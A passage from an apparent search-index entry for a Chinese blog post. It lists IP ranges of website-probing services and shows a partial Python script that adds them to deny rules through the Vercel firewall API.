116.176.35.216 52.140.120.6 116.253.27.156 13.69.137.62 34.71.216.82 47.251.22.110 1.71.11.180 120.238.155.30 20.41.234.167 20.97.31.166 34.125.140.25 18.198.169.212 47.250.83.225 34.216.180.221 8.212.168.4 34.106.36.80 34.80.25.50 34.141.72.86 117.157.22.159 34.130.170.189 52.67.7.168 15.237.134.31 116.136.135.139 34.64.76.211 20.206.67.205 102.133.191.17 120.210.112.149 3.130.130.218 52.249.251.97 20.203.191.125 13.245.240.194 34.151.203.21 113.5.183.21 47.76.234.71 35.74.182.183 13.73.237.220 34.93.125.50 36.158.254.166 47.87.10.135 20.212.147.238 34.131.245.4 34.129.133.149 20.63.56.18 34.91.245.249 35.201.15.13 34.127.120.136 34.65.109.86 20.210.115.182 14.119.108.97 36.250.8.143 175.6.198.123 122.13.156.93 119.96.16.112 116.153.80.135 112.65.92.24 124.225.43.76 124.160.160.85 115.223.45.12 117.68.65.13 112.132.229.80 180.153.30.124 153.0.230.10 36.140.98.185 222.84.188.147 36.134.84.172 106.227.27.10 116.162.91.15 119.36.116.72 112.85.242.37 36.137.123.208 59.80.45.236 121.31.236.105 123.6.67.55 49.67.73.113 60.28.203.96 150.138.239.152 113.201.9.13 106.38.195.210 202.108.29.83 123.151.105.90 113.207.73.136 113.142.203.39 221.204.79.137 180.130.113.83 211.90.25.90 36.134.81.132 27.221.106.135 36.139.239.145 27.151.24.14 101.207.252.83 27.185.235.86 36.140.22.122 116.176.33.212 125.64.35.87 36.137.22.118 36.148.0.84 111.124.196.23 36.138.180.78 36.134.79.10 118.183.211.82 171.15.110.93 59.49.86.80 42.63.75.92 182.242.214.118 42.202.219.83 116.136.19.158 219.151.141.87 222.75.5.73 36.134.47.198 118.213.140.85 36.137.89.73 36.137.250.224 43.242.183.208 36.138.53.214 42.59.0.91 36.137.50.99 36.134.87.242 36.138.125.196 36.133.106.196 36.97.229.180 36.137.46.212 36.138.129.114 36.133.212.236 36.104.135.11 42.101.84.87 125.211.192.50 139.209.203.85 36.138.249.96 36.139.217.42 36.137.133.156 36.134.76.220 36.134.67.30 36.102.223.206 116.172.154.10 36.139.213.132 36.134.223.27 113.62.118.143 222.81.124.106 116.178.236.108 36.139.215.4 36.133.109.86 112.43.36.140 199.119.65.155 45.135.229.199 170.39.226.168 130.51.40.113 23.159.160.29 45.45.216.219 79.133.121.42 213.255.209.128 170.39.227.192 23.145.48.232 92.223.102.61 92.38.176.123 209.209.57.64 5.188.111.165 162.253.42.95 209.209.59.201 45.9.10.253 38.175.100.1 194.49.68.59 74.118.138.59 104.245.12.220 213.156.157.23 103.170.232.190 103.173.178.158 154.31.112.24 103.121.211.146 51.158.190.4 185.189.72.131 38.175.119.130 185.222.219.5 154.12.190.9 103.170.232.255 45.87.60.12 5.161.74.145 89.37.99.43 5.75.183.245 45.11.104.130 45.142.244.202 185.217.109.206 38.175.116.132 45.11.106.130 5.75.244.23 45.150.240.129 92.223.105.223 38.175.120.128 45.150.242.130 83.138.55.28 45.150.242.131 194.156.162.128 194.156.163.130 45.146.4.70 209.146.104.21 45.11.104.140 103.167.150.110 38.175.114.129 65.109.164.100 128.14.227.111 185.254.74.188 185.248.86.134 45.61.175.191 213.156.142.202 103.213.246.25 45.91.94.193 185.126.238.219 213.183.62.132 170.39.225.200 38.175.117.128 45.87.62.74 5.189.221.103 83.138.53.220 45.131.71.128 38.175.115.131 185.234.213.129 145.14.131.223 5.188.36.17 45.142.247.129 194.99.78.14 106.75.189.151 78.142.195.191 103.136.144.101 170.39.230.26 103.181.45.35 45.142.246.177 45.131.69.99 45.131.70.138 38.175.113.128 146.185.248.29 85.215.238.211 27.148.249.91 106.75.8.5 103.45.78.243 165.154.120.79 185.105.0.67 91.148.134.231 152.32.249.61 38.175.108.20 154.17.1.69 38.175.121.129 213.156.136.76 45.11.105.149 5.78.52.50 180.149.44.87 38.175.122.129 37.143.128.230 209.209.57.133 89.43.111.60 103.208.86.58 213.156.137.109 45.91.92.175 194.156.155.253 185.194.53.117 38.175.112.134 103.213.245.15 91.148.135.223 102.130.48.128 85.215.117.222 102.130.49.151 5.188.6.10 63.250.61.72 45.150.243.145 45.126.125.125 103.117.100.75 87.121.99.217 36.139.22.48 173.245.48.0/20 103.21.244.0/22 103.22.200.0/22 103.31.4.0/22 141.101.64.0/18 108.162.192.0/18 190.93.240.0/20 188.114.96.0/20 197.234.240.0/22 198.41.128.0/17 162.158.0.0/15 104.16.0.0/13 104.24.0.0/14 172.64.0.0/13 131.0.72.0/22 1.14.231.0/24 1.194.174.0/24 1.56.100.0/24 1.71.146.0/23 1.71.88.0/24 101.226.85.128/25 101.33.195.0/24 101.33.222.0/24 101.42.63.0/24 101.71.100.0/23 101.71.105.0/24 101.72.227.0/24 111.12.215.0/24 111.20.28.0/23 111.20.30.0/24 111.22.252.0/24 111.29.14.0/24 111.31.238.0/24 111.4.224.0/23 111.42.114.0/24 111.51.158.0/24 111.6.217.0/24 111.6.218.0/24 111.62.160.0/24 112.13.210.0/24 112.29.209.0/24 112.46.51.0/24 112.49.30.0/23 112.49.69.0/24 112.64.213.0/24 112.84.131.0/24 112.90.154.0/24 113.125.206.0/24 113.142.27.0/24 113.194.51.0/24 113.200.123.0/24 113.201.154.0/24 113.201.158.0/24 113.219.202.0/23 113.240.66.0/24 113.240.91.0/24 113.59.44.0/24 114.230.198.0/24 114.237.67.0/24 114.66.246.0/23 114.66.250.0/24 115.150.39.0/24 116.136.15.0/24 116.153.83.0/24 116.153.84.0/23 116.162.152.0/23 116.169.184.0/24 116.172.74.0/24 116.177.240.0/24 116.178.78.0/24 116.196.152.0/23 116.207.184.0/24 116.253.60.0/24 117.139.140.0/24 117.147.229.0/24 117.147.230.0/23 117.161.38.0/24 117.161.86.0/24 117.162.50.0/23 117.162.61.0/24 117.163.59.0/24 117.187.145.0/24 117.40.82.0/24 117.44.77.0/24 117.69.71.0/24 117.85.64.0/23 117.85.66.0/24 119.188.140.0/24 119.188.209.0/24 119.36.225.0/24 119.84.242.0/24 119.91.175.0/24 120.221.164.0/24 120.221.181.0/24 120.221.238.0/24 120.226.27.0/24 120.232.126.0/24 120.232.97.0/24 120.233.185.0/24 120.233.186.0/23 120.233.43.0/24 120.240.100.0/24 120.240.94.0/24 122.192.132.0/24 122.246.0.0/24 122.246.30.0/23 123.125.3.0/24 123.138.25.0/24 123.172.121.0/24 123.182.162.0/24 123.6.40.0/24 124.225.117.0/24 124.225.161.0/24 124.225.72.0/24 124.238.112.0/24 124.72.128.0/24 125.76.83.0/24 125.94.247.0/24 125.94.248.0/23 14.116.174.0/24 14.205.93.0/24 150.139.230.0/24 175.43.193.0/24 175.6.193.0/24 182.140.210.0/24 182.247.248.0/24 183.131.59.0/24 183.136.219.0/24 183.192.184.0/24 183.201.109.0/24 183.201.110.0/24 183.230.68.0/24 183.253.58.0/24 183.255.104.0/24 183.47.119.128/25 183.61.174.0/24 211.136.106.0/24 211.97.84.0/24 219.144.88.0/23 219.144.90.0/24 220.197.201.0/24 221.204.26.0/23 221.5.96.0/23 222.189.172.0/24 222.79.116.0/23 222.79.126.0/24 222.94.224.0/23 223.109.0.0/23 223.109.2.0/24 223.109.210.0/24 223.113.137.0/24 223.221.177.0/24 223.247.117.0/24 27.44.206.0/24 36.131.221.0/24 36.142.6.0/24 36.147.58.0/23 36.150.103.0/24 36.150.72.0/24 36.158.202.0/24 36.158.253.0/24 36.159.70.0/24 36.189.11.0/24 36.248.57.0/24 36.249.64.0/24 36.250.235.0/24 36.250.238.0/24 36.250.5.0/24 36.250.8.0/24 39.173.183.0/24 42.177.83.0/24 42.202.164.0/24 42.202.170.0/24 43.136.126.0/24 43.137.230.0/23 43.137.87.0/24 43.137.88.0/22 43.138.125.0/24 43.141.10.0/23 43.141.109.0/24 43.141.110.0/24 43.141.131.0/24 43.141.132.0/24 43.141.49.0/24 43.141.50.0/24 43.141.52.0/24 43.141.68.0/23 43.141.70.0/24 43.141.9.0/24 43.141.99.0/24 43.142.196.0/24 43.142.205.0/24 43.145.16.0/22 43.145.44.0/23 49.119.123.0/24 49.7.250.128/25 58.144.195.0/24 58.212.47.0/24 58.217.176.0/22 58.222.36.0/24 58.250.127.0/24 58.251.127.0/24 58.251.87.0/24 59.55.137.0/24 59.83.206.0/24 60.28.220.0/24 61.161.0.0/24 61.170.82.0/24 61.240.216.0/24 61.240.220.0/24 61.241.148.0/24 61.49.23.0/24 81.71.192.0/23 101.33.0.0/19 162.14.40.0/21 43.132.64.0/19 43.152.0.0/18 43.152.128.0/18 43.159.64.0/18 107.155.58.0/24 110.238.81.0/24 110.238.84.0/24 116.103.105.0/24 116.103.106.0/24 116.206.195.0/24 119.160.60.0/24 128.1.102.0/24 128.1.106.0/24 128.14.246.0/24 129.227.189.0/24 129.227.213.0/24 129.227.246.0/24 13.244.60.0/24 13.246.171.0/24 13.246.201.0/24 15.220.184.0/24 15.220.187.0/24 150.109.190.0/23 150.109.192.0/24 150.109.222.0/23 154.223.40.0/24 156.227.203.0/24 156.229.29.0/24 156.240.62.0/24 156.251.71.0/24 158.79.1.0/24 161.49.44.0/24 171.244.192.0/23 175.97.130.0/23 175.97.175.0/24 181.78.96.0/24 203.205.136.0/23 203.205.191.0/24 203.205.193.0/24 203.205.220.0/23 203.96.243.0/24 211.152.128.0/23 211.152.132.0/23 211.152.148.0/23 211.152.154.0/23 23.236.104.0/24 23.236.99.0/24 3.105.21.0/24 3.24.201.0/24 31.171.99.0/24 38.52.124.0/24 38.60.181.0/24 42.115.108.0/24 43.155.126.0/24 43.155.149.0/24 43.174.0.0/15 49.51.64.0/24 54.94.99.0/24 62.201.197.0/24 63.32.163.0/24 72.255.2.0/24 81.21.9.0/24 84.54.102.0/24 86.51.92.0/24 调用脚本更新规则 最后 Review Changes 并且 Publish 即可\nITDog测试 大部分测试节点已经403\n有什么用？ 纯好玩 纯闲着没事干 汐汐 有空点下这来加群或者下方评论吧！\n","permalink":"https://blog.2x.nz/posts/vercel-deny/","summary":"\u003ch1 id=\"配套视频\"\u003e配套视频\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1w7GTzMEy7\"\u003ehttps://www.bilibili.com/video/BV1w7GTzMEy7\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"获取itdog等拨测服务的ip\"\u003e获取ITDog等拨测服务的IP\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e因为Vercel不支持IPv6，所以我们只需要获取v4IP\u003c/p\u003e\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e如果你有VPS，直接写一个Py脚本创建一个HTTP服务器记录IP去重即可\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果你只有家里云，可以使用Cloudflare Tunnel，然后获取 \u003ccode\u003eCF-Connecting-IP\u003c/code\u003e 来曲线救国\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e结论，你已经获得了你要屏蔽的拨测网站的IP\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/vercel-deny/img/91daff1e-b248-4f90-9b97-31bff7fa2c14.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"创建vercel-api-token\"\u003e创建Vercel API Token\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://vercel.com/account/settings/tokens\"\u003ehttps://vercel.com/account/settings/tokens\u003c/a\u003e 创建一个Token\u003c/p\u003e\n\u003ch1 id=\"抓取防火墙创建更新接口\"\u003e抓取防火墙创建/更新接口\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://vercel.com/your-projects/fuwari/firewall\"\u003ehttps://vercel.com/your-projects/fuwari/firewall\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e新增规则\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/vercel-deny/img/84645ada-92bd-42f7-827f-96a93bd54997.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e随便写点东西然后抓包\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/vercel-deny/img/0f60d87a-df45-42d3-a692-c172982899cc.webp\"\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-http\" data-lang=\"http\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ePATCH https://vercel.com/api/v1/security/firewall/config/draft?projectId=prj_UfvbpIvawjL2eAETAiZT7hPLR8W2\u0026amp;teamId=team_lemndzHQNJAcTipIF6elB5Md\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e将主机名 \u003ccode\u003evercel.com\u003c/code\u003e 改为 \u003ccode\u003eapi.vercel.com\u003c/code\u003e 。并携带请求头 \u003ccode\u003eAuthorization\u003c/code\u003e ，值为刚才获取的Token\u003c/p\u003e\n\u003cp\u003e复制刚才的响应并且稍作修改进行测试，看是否能更新成功\u003c/p\u003e\n\u003cp\u003e可以看到已经200 OK\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/vercel-deny/img/b87a06b5-e33c-4d1d-aede-18ecba95d8cc.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"使用python脚本创建大批量ip拒绝规则\"\u003e使用Python脚本创建大批量IP拒绝规则\u003c/h1\u003e\n\u003cp\u003e根据本人测试，Vercel虽然在创建规则的时候有一个 \u003ccode\u003eis any of\u003c/code\u003e 支持填入多个IP，但是单规则最多只能填写\u003cstrong\u003e75\u003c/strong\u003e个，所以我们需要一个Python脚本批量帮我们规划。脚本已经写好\u003c/p\u003e\n\u003cp\u003e使用： \u003ccode\u003epython app.py ip.txt\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e作用：自动获取指定TXT中的内容并将其中的所有IP添加到拒绝规则\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/usr/bin/env python3\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# -*- coding: utf-8 -*-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eVercel防火墙规则更新脚本\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e用法: python vercelnoitdog.py xxx.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e sys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e json\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e requests\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e ipaddress\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e typing \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e List, Dict, Any\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Vercel API配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAPI_BASE_URL \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://api.vercel.com/v1/security/firewall/config/draft\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePROJECT_ID \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;prj_UfvbpIvawjL2eAETAiZT7hPLR8W2\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTEAM_ID \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;team_lemndzHQNJAcTipIF6elB5Md\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAUTH_TOKEN \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;你的Token\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRULE_ID \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;rule_noitdog_eGxdcK\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 每组最大IP数量\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMAX_IPS_PER_GROUP \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e75\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evalidate_ip_or_cidr\u003c/span\u003e(ip_str: str) \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e bool:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    验证IP地址或CIDR格式是否有效\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# 尝试解析为IP地址或网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        ipaddress\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eip_address(ip_str)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eValueError\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e# 尝试解析为CIDR网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            ipaddress\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eip_network(ip_str, strict\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eValueError\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eread_ips_from_file\u003c/span\u003e(file_path: str) \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e List[str]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    从文件中读取IP地址和CIDR网段\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ips \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    invalid_entries \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e open(file_path, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e, encoding\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e f:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e line_num, line \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e enumerate(f, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                ip \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e line\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003estrip()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ip \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e ip\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003estartswith(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;#\u0026#39;\u003c/span\u003e):  \u003cspan style=\"color:#75715e\"\u003e# 忽略空行和注释\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e validate_ip_or_cidr(ip):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        ips\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(ip)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        invalid_entries\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;第\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eline_num\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e行: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003eip\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;从文件 \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003efile_path\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 读取到 \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elen(ips)\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 个有效的IP地址/CIDR网段\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e invalid_entries:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            print(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;⚠️  发现 \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elen(invalid_entries)\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e 个无效条目:\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e entry \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e invalid_entries[:\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e]:  \u003cspan style=\"color:#75715e\"\u003e# 只显示前5个\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 